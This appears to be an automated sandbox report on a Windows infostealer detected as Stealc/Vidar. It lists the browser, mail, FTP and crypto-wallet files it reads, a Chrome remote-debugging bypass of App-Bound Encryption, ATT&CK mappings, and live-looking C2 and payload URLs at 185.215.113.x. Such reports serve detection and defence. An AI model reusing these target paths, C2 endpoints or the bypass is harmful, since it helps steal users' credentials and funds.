Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2601119957.0000000001723000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1848, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2599848202.0000000000B21000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2088034499.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2601119957.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1848, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1848, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840C40 sqlite3_bind_zeroblob,	0_2_6C840C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840D60 sqlite3_bind_parameter_name,	0_2_6C840D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768EA0 sqlite3_clear_bindings,	0_2_6C768EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C840B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C766410 bind,WSAGetLastError,	0_2_6C766410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	251 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	29%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	53%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\DocumentsIDAEBGCAAE.exe	53%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/softokn3.dll	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe450	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/sqlite3.dll0	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/mozglue.dllZ	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dll	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/mozglue.dllF	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe5151001	100%	Avira URL Cloud	phishing
http://185.215.113.16/luma/random.exe=(	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.php.)	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpW=w/	100%	Avira URL Cloud	malware
185.215.113.206/c4becf79229cb002.php	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dll	100%	Avira URL Cloud	malware
http://185.215.113.206lfons	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpYFb	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe5	100%	Avira URL Cloud	phishing
http://185.215.113.43/Zu7JuNko/index.phpAFz	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exeR	100%	Avira URL Cloud	phishing
http://185.215.113.206a	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php%	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpiFR	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php9F	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe2	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/freebl3.dllf	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllh	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe0(	100%	Avira URL Cloud	phishing
http://185.215.113.16/d	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	216.58.212.174	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.154.84.35	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.184.228	true	false	high
googlehosted.l.googleusercontent.com	172.217.16.129	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.206/	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	true	Avira URL Cloud: malware	unknown
https://sb.scorecardresearch.com/b?rn=1731186584992&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0722F0CD1C5A69A60479E5FF1DAB68A5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	true	Avira URL Cloud: malware	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
185.215.113.206/c4becf79229cb002.php	true	Avira URL Cloud: malware	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731186587973&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false		high
https://c.msn.com/c.gif?rnd=1731186584991&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=aefa01274bcd4663996fc7c7749d505a&activityId=aefa01274bcd4663996fc7c7749d505a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=E74B85AA8FF2479AA80487924EBFDDA9&MUID=0722F0CD1C5A69A60479E5FF1DAB68A5	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731186588623&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731186588978&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://clients2.googleusercontent.com/crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx	false		high
https://sb.scorecardresearch.com/b2?rn=1731186584992&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0722F0CD1C5A69A60479E5FF1DAB68A5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2378830546.0000000023E6C000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, BKKJKFBK.0.dr, BAKKEGCA.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll0	file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2378830546.0000000023E6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2601119957.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, BKKJKFBK.0.dr, BAKKEGCA.0.dr	false		high
http://www.broofa.com	chromecache_481.4.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllF	file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/luma/random.exe5151001	skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ntp.msn.com/0	000003.log10.9.dr	false		high
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp, ECAKECAEGDHIECBGHIII.0.dr	false		high
https://www.last.fm/	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
http://185.215.113.16/luma/random.exe=(	skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.9.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.16/luma/random.exe450	skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.10.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllZ	file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpW=w/	file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/	manifest.json0.9.dr	false		high
https://www.youtube.com	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.10.dr	false		high
https://www.instagram.com	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.php.)	file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.google.com/	manifest.json0.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
https://www.messenger.com	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
https://www.deezer.com/	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
http://185.215.113.206lfons	file.exe, 00000000.00000002.2599848202.0000000000BD5000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org/	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpAFz	skotes.exe, 00000019.00000002.3322413463.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpYFb	skotes.exe, 00000019.00000002.3322413463.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpiFR	skotes.exe, 00000019.00000002.3322413463.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.16/luma/random.exe5	skotes.exe, 00000019.00000002.3322413463.00000000010DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.php%	file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
https://vibe.naver.com/today	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
http://185.215.113.16/luma/random.exeR	skotes.exe, 00000019.00000002.3322413463.00000000010B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2378830546.0000000023E6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2601119957.0000000001723000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, BKKJKFBK.0.dr, BAKKEGCA.0.dr	false		high
http://185.215.113.206a	file.exe, 00000000.00000002.2601119957.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	BAKKEGCA.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
https://excel.new?from=EdgeM365Shoreline	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JJKJDAEBFCBKECBGDBFCFBKKKF.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_481.4.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php9F	skotes.exe, 00000019.00000002.3322413463.00000000010CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllf	file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllh	file.exe, 00000000.00000002.2601119957.0000000001708000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
